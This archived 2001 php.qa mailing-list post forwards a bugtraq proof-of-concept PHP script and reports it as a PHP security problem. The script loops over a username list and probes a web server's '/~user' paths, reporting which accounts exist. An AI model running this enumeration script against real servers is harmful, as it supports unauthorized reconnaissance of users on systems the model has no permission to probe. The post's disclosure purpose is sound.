Bug found

From: Date: Fri, 21 Sep 2001 22:12:53 +0000
Subject: Bug found
Groups: php.qa 
Request: Send a blank email to php-qa+get-3620@lists.php.net to get a copy of this message
I was sent this bug via bugtraq. Here is the code: #!/usr/local/bin/php -q <? /* default misconfiguration which could allow remote users to determine whether a give username exists on the vulnerable system. By Gabriel A Maggiotti */ if( $argc!=4) { echo "usagge: $argv[0] <host> <userlist> <delay>\n"; return 1; } $host=$argv[1]; $userlist=$argv[2]; $fd = fopen ($userlist, "r"); while (!feof ($fd)) { $user = fgets($fd, 4096); $fp = fsockopen ($host, 80 , &$errno, &$errstr, 30); fputs ($fp, "GET /~$user HTTP/1.0\r\n\r\n"); while (!feof ($fp)) { $sniff=fgets($fp,1024); if(strpos($sniff,"permission")!="") { echo "$user exists!!!\n"; break; } } fclose ($fp); sleep(3); } fclose ($fd); ?> As you can clearly see, this code allows someone to see if a specified user is on a system and they can then get other sensitive information about that user if they really wanted to. I love PHP and I'd hate to see security holes like this and others (I have received other holes similar to this from bugtraq) set PHP back but security risks are security risks. I hope this is a correct list to send this too. . . I searched all over php.net for the correct way of contacting the php staff but I could not find it. __________________________________________________ Do You Yahoo!? Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com

« previous php.qa (#3620) next »